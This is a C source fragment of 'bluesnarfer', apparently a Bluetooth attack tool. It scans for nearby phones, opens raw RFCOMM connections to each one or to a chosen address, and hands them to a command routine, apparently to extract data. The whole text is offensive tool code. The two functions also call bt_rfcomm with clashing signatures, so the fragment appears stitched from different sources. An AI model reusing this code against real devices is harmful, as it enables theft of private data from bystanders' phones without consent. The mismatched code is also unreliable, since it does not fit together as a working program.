int bluesnarfer(struct opt options) { 

	FILE *fd;

	signal(SIGINT,  (void *)bt_rfcomm_rel);
	signal(SIGSEGV,  (void *)bt_rfcomm_rel);

	if ((device = hci_for_each_dev(HCI_UP, 0x00, 0)) < 0 ) 
		fprintf(stderr, "bluesnarfer: hci_for_each_dev , %s\n", strerror(errno));

    if ( bt_get_remote_name(options.bd_addr) < 0 ) 
        fprintf(stderr, "bluesnarfer: unable to get device name\n");

    if ((ctl = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_RFCOMM)) < 0 ) 
        fprintf(stderr, "bluesnarfer: Can't open RFCOMM control socket");

    if (!(fd = bt_rfcomm(ctl, options.bd_addr, options.channel))) 
        fprintf(stderr,"bluesnarfer: unable to create rfcomm connection\n");

    if ( switch_cmd(fd, options) < 0 ) 
        fprintf(stderr, "bluesnarfer: send_cmd failed\n");

    bt_rfcomm_rel();

	return 0; 
}
static int scan(int dev_id, int s)
{
	inquiry_info *info = NULL;
	int max, len, flags;
	char addr[18], name[256];
	int i, sock;

	len = 4;
	max = 100;
	flags = IREQ_CACHE_FLUSH;

	max = hci_inquiry(dev_id, len, max, NULL, &info, flags);
	if (max == -1) {
		perror("hci_inquiry");
		return -1;
	}

	for (i = 0; i < max; i++) {
		if (bt_cache_find(&info[i].bdaddr))
			continue;

		sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_RFCOMM);
		if (sock == -1) {
			perror("socket");
			continue;
		}

		if (bt_bind(sock, dev_id, &info[i].bdaddr))
			continue;

		if (hci_read_remote_name(s, &info[i].bdaddr, sizeof(name), name, 2))
			name[0] = '\0';

		ba2str(&info[i].bdaddr, addr);
		printf("<phone btaddr=\"%s\" name=\"%s\">\n", addr, name);
		fflush(stdout);

		bt_rfcomm(dev_id);
		bt_release(sock, dev_id);
		close(sock);

		puts("</phone>");
		fflush(stdout);

		bt_cache_add(&info[i].bdaddr);
	}

	free(info);

	return 0;
}